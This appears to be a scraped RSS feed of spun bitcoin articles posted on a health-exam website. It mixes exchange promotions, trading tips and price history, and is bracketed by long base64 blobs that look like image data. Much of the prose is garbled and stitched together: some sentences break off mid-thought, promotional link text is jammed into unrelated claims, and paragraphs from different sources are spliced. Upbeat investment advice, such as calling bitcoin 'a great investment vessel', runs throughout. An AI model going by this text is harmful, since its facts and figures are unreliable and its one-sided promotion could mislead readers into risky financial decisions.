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' alt='https://www.beaxy.com/' class='aligncenter' style='display:block;margin-left:auto;margin-right:auto; width='401px'/></a></p>
<p>Finally, bitcoin-cli, a simple program which allows users to send RPC commands to bitcoind, is also included. Bitcoin price again reached an all-time high in 2021, as values exceeded over 65,000 USD in February 2021, April 2021 and November 2021. The first two were due to events involving Tesla and Coinbase, respectively, whilst the latter. Tesla’s announcement that it had acquired 1.5 billion U.S. dollars’ worth of the digital coin as well as the IPO of <a href="https://www.beaxy.com/market/btc/">1btc to dollar</a> the U.S.’ biggest crypto exchange fueled mass interest. The world’s most well-known cryptocurrency, however, suffered a notable correction in April after speculation on government regulation. Another reason, according to experts, was an electricity blackout in the Xinjiang region in China. This unexpected development led to a decline in the Bitcoin hashrate &#8211; how many Bitcoins are being mined – and potentially spooked investors into selling their assets.</p>
<p>One very excellent strategy uses the On-Balance Volume indicator to trade Bitcoin. This indicator uses a combination of price action and trading volume to analyze the market. Originally developed for the stock markets it has also been used successfully in forex trading. It also uses a comparison with Ethereum, the second largest cryptocurrency. Basically it looks for divergences between price action in Bitcoin and Ethereum, such as a breakout in one, but not the other. A breakout in Ethereum first indicates the same will be coming for Bitcoin, and the OBV is used to confirm that. A limit order can then be placed just above the BTC/USD resistance level. Currency traders are familiar with the major currency pairs, and often a good number of the minor pairs. More experienced traders are also likely familiar with a number of exotic pairs as well.</p>
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<blockquote class="twitter-tweet">
<p lang="en" dir="ltr">Have never even heard of Beaxy so I don’t understand why the name is bad but the former is triggering enough for me that I will relegate it below Stargate and Dragonchain for worst name title</p>
<p>&mdash; Cobie (@cobie) <a href="https://twitter.com/cobie/status/1506066525857275908?ref_src=twsrc%5Etfw">March 22, 2022</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
</p>
<p>The downside move which began at the end of last month is actually a part of a new downtrend on H4. The trading opportunities inside of this trend are in our sell zone. The first target will be price reaching 35K and eventually breaking below it. We will look at the lower timeframes in the next few days to find out where exactly to sell. Sign up for an account in minutes to buy crypto using credit card or bank transfer. Bitcoin can be purchased through a digital marketplace, through which you can fund your account with your currency of choice, and place an order on the open market. Supporters of the newly formed bitcoin cash believe the currency will &#8222;breath new life into&#8220; the nearly 10-year-old bitcoin by addressing some of the issues facing bitcoin of late, such as slow transaction speeds. But go by its recent boom — and a forecast by Snapchat&#8217;s first investor, Jeremy Liew, that it will hit a bitcoin price of $500,000 by 2030 — and nabbing even a fraction of a bitcoin starts to look a lot more enticing. But while fraudulent credit-card purchases are reversible, bitcoin transactions are not.</p>
<p><h2>Where Can You Buy Bitcoin?</h2>
</p>
<p>Moreover, a cryptocurrency wallet, which can be used to transfer funds, is included by default. Bitcoins are created as a reward for a process known as mining. They can be exchanged for other currencies, products, and services. Bitcoin has been criticized for its use in illegal transactions, the large amount of electricity used by mining, price volatility, and thefts from exchanges. Some investors and economists have characterized it as a speculative bubble at various times.</p>
<p>Get the latest crypto news, updates, and reports by subscribing to our free newsletter. Q Cryptocurrency Report Altchain narratives are still going strong while the entire market undergoes a correction in light of growing macroeconomic woes. BTC to USD rate today is $41,448 and has increased 1.4% from $40,880.07 since yesterday. An American nonprofit called the Bitcoin Foundation was founded in 2012 to support the development and adoption of the Bitcoin protocol. After three years, however, the foundation eventually ran out of cash and was dissolved. No more bitcoin can be created and units of bitcoin cannot be destroyed.</p>
<p><h2>Convert Btc To Usd</h2>
</p>
<p>The final settlement price of CME bitcoin futures is determined by prices on four exchanges, Bitstamp, Coinbase, itBit and Kraken. Following the first delivery date in January 2018, the CME requested extensive detailed trading information but several of the exchanges refused to provide it and later provided only limited data. The Commodity Futures Trading Commission <a href="https://www.beaxy.com/">https://www.beaxy.com/</a> then subpoenaed the data from the exchanges. Because of bitcoin&#8217;s decentralized nature and its trading on online exchanges located in many countries, regulation of bitcoin has been difficult. However, the use of bitcoin can be criminalized, and shutting down exchanges and the peer-to-peer economy in a given country would constitute a de facto ban.</p>
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		<title>What Experts Say About Cryptocurrency, Bitcoin Concerns</title>
		<link>https://heilpraktiker-pruefung.com/what-experts-say-about-cryptocurrency-bitcoin/</link>
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		<dc:creator><![CDATA[healthcarepruef]]></dc:creator>
		<pubDate>Thu, 24 Feb 2022 14:41:10 +0000</pubDate>
				<category><![CDATA[Bitcoin News]]></category>
		<guid isPermaLink="false">https://heilpraktiker-pruefung.com/?p=1026</guid>

					<description><![CDATA[Content How Does A Bitcoin Transaction Work? Factors Considered While Making This List Of The Best Bitcoin Platforms How Do You Buy And Sell It? How To Invest In Bitcoin: A Beginners Guide For many newer investors, it may not be a matter of whether the investment is too risky. They may struggle just to [&#8230;]]]></description>
										<content:encoded><![CDATA[<div id="toc" style="background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;">
<p class="toctitle" style="font-weight: 700;text-align: center;">Content</p>
<ul class="toc_list">
<li><a href="#toc-0">How Does A Bitcoin Transaction Work?</a></li>
<li><a href="#toc-1">Factors Considered While Making This List Of The Best Bitcoin Platforms</a></li>
<li><a href="#toc-3">How Do You Buy And Sell It?</a></li>
<li><a href="#toc-4">How To Invest In Bitcoin: A Beginners Guide</a></li>
</ul>
</div>
<p>For many newer investors, it may not be a matter of whether the investment is too risky. They may struggle just to pull together $60,000 to put into one bitcoin. Lost bitcoins happen when owners can’t find their private keys or recovery phrase. Lastly, there are some bitcoins that were deliberately sent to burn addresses to make a point.</p>
<div style='border: grey dotted 1px;padding: 12px;'>
<h3>You should have cryptocurrency in your portfolio, no matter your age, advisors say &#8211; CNBC</h3>
<p>You should have cryptocurrency in your portfolio, no matter your age, advisors say.</p>
<p>Posted: Thu, 09 Dec 2021 08:00:00 GMT [<a href='https://www.cnbc.com/2021/12/09/you-should-have-crypto-in-your-portfolio-no-matter-your-age.html' rel="nofollow">source</a>]</p>
</div>
<p>Department of State Fulbright research awardee in the field of financial technology. He educates business students on topics in accounting and corporate finance. Some cryptocurrencies are extremely limited in their business applications. One that circulated a few years ago, could be used only to make payments to dentists. The surge in bitcoin’s price has been triggered by “a broader worldview shift,” said Seward, of Coindesk, the leading news site specializing in cryptocurrency news. We want to make it easier for you to buy cryptocurrency — including Bitcoin and Ethereum — no matter where you live in the world! Learn from us as we walk you through some of the topics that beginners will need to understand to get started.</p>
<h2 id="toc-0">How Does A Bitcoin Transaction Work?</h2>
<p>Coinbase makes it safe and simple for you to buy, sell and hold bitcoin. You can buy a portion of bitcoin with a $0 account minimum. Our team is diligently working to keep up with trends in the crypto markets. Keep up to date on the latest news and up-and-coming coins. In 2021, El Salvador became the 1st country in the world to make Bitcoin a legal tender; Paraguay and other countries look to follow suit. El Salvador is also the first and only country to have Bitcoin in its treasury. President Nayib Bukele has not been shy about announcing his purchases on Twitter. Start with our guide to learn more and make your own judgment if bitcoin is a good investment for you. Despite its downsides, Bitcoin can be a worthwhile investment. However, it&#8217;s important to consider whether it&#8217;s right for your portfolio.</p>
<div style='border: black dashed 1px;padding: 13px;'>
<h3>Millennial millionaires plan to add more crypto in 2022, CNBC Millionaire Survey finds &#8211; CNBC</h3>
<p>Millennial millionaires plan to add more crypto in 2022, CNBC Millionaire Survey finds.</p>
<p>Posted: Thu, 16 Dec 2021 18:56:12 GMT [<a href='https://www.cnbc.com/2021/12/16/millennial-millionaires-plan-to-add-more-crypto-in-2022.html' rel="nofollow">source</a>]</p>
</div>
<p>First, it was designed to prevent crypto coins from being fraudulently duplicated. Think about how easy it is to make copies of your computer’s data—documents, photos, files, etc. Cryptocurrency wouldn’t be possible if anybody could duplicate a coin and create an unlimited amount of currency for oneself. Likewise, there’s a need to prevent people from reproducing crypto coins. You can buy Bitcoin directly on Ledger Live from our partners Coinify and Wyre.</p>
<h2 id="toc-1">Factors Considered While Making This List Of The Best Bitcoin Platforms</h2>
<p>Are you sure you understand how bitcoin and other cryptocurrencies operate, as well as their protections against the vulnerabilities and risks from both known and unknown sources? Most likely, very few of those who have bought cryptos have such an accurate and comprehensive understanding. Your Bitcoin balance is stored using Square’s secure online/offline wallet system. Greyscale owes its current success to making Bitcoin more accessible to everyone. In fact, Greyscale helped bridge the gap between the informed and the uninformed. To do so, Greyscale made it easier than ever to invest in Bitcoin. For example, Greyscale allows investors to hold Bitcoin in certain IRA, Roth IRA, and other brokerage and investor accounts. Outside of what was just discussed, let’s take a look at some of the most popular ways people are investing in Bitcoin today and what they mean for investors.</p>
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<h2>Is Bitcoin a good long term investment?</h2>
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<p>The high liquidity associated with bitcoin makes it a great investment vessel if you&#8217;re looking for short-term profit. Digital currencies may also be a long-term investment due to their high market demand. Lower inflation risk.</p>
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<p>Lowry points out that ether also can be used by businesses to execute contracts. Unlike U.S. currency, which the federal government can print in unlimited amounts, the amount of bitcoin is constrained. Guillen said the fascination in the cryptocurrency also is being driven by interest rates. The speed of processing power in Bitcoin mining is referred to as the hashrate and the processing power is referred to as the hashpower of the hardware. Where the buyer lives and the laws and regulations differ by geography, so it would be recommended to buy Bitcoins on an exchange that is in the same country as the buyer. Which brings me to what appears to be the real issue – my traditional financial institution. For all the talk about bitcoin being easier to buy than ever before, Friday morning, as bitcoin was topping $41,000 per coin, I spent hours trying to make a small $100 purchase. This is not investment advice, merely my opinion on the matter.</p>
<h2 id="toc-2">What Day Of The Week Is Best To Buy Bitcoin?</h2>
<p>But if you aren’t sure exactly what you want, then Coinbase is a good place to get started. You can buy a variety of digital currencies with a fair pricing structure in a secure setting. We picked BlockFi because it provides the option to borrow using bitcoin as collateral, trade with no traditional fees, and lend to earn interest. EToro is currently offering a $10 bonus for customers that purchase $100 worth of cryptocurrency through their platform. Coinbase offers strong security through Coinbase Vaults, two-factor authentication, and its use of offline storage for the vast majority of client assets. Coinbase charges several fees, which it discloses upfront when entering a transaction.</p>
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<h2>Where does my money go when I buy Bitcoin?</h2>
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<p>If you buy Bitcoins from an exchange like Zebpay or others, your money goes to the exchange. However, if you buy it from a holder of bitcoin by transfer of his bitcoin from his wallet to your wallet, your money goes to him as decided between both of you.</p>
</div></div>
</div>
<p>Robinhood is best known as a commission-free stockbroker, but you can buy and sell bitcoin with no commissions as well. If you already have some experience with stock market investing, buying cryptocurrencies with Robinhood will likely feel familiar, a bonus for those new to bitcoin. Bitcoin is available from a multitude of centralized cryptocurrency exchanges. The safest exchanges are U.S. based, which also means you’ll need to comply with the SEC’s know your customer guidelines. For tax purposes, making an exchange account will require inputting your personal information including your address and social security number. Individuals can insert cash into a machine and use it to purchase bitcoin that is then transferred to online wallets for users. Bitcoin ATMs have become increasingly popular in recent years—even retail giant Walmart Inc. has begun a pilot test to offer the option of purchasing bitcoin to its customers. Coin ATM Radar can help to track down the closest machines.</p>
<h2 id="toc-3">How Do You Buy And Sell It?</h2>
<p>That means fund managers constantly seek out businesses that focus on blockchain technology and investing in them. Therefore, anyone investing in BLOK is invested in a basket of blockchain technology companies. While BLOK may not give investors access to standalone Bitcoin, it does give them access to the companies which use blockchain and its transformational data-sharing technologies. The most obvious Bitcoin investment strategy is purchasing standalone Bitcoin. Buying Bitcoin directly from an app like Coinbase allows investors to take “physical” ownership of the asset. That’s an important distinction to make, as Coinbase allows investors to actually buy Bitcoin and store it in their own encrypted wallets. In doing so, investors will simultaneously gain access to the asset’s price performance and use it as a currency to make subsequent transactions. Owning standalone Bitcoin isn’t all that different from owning any other currency, less the incredibly volatile swings in value.<br />
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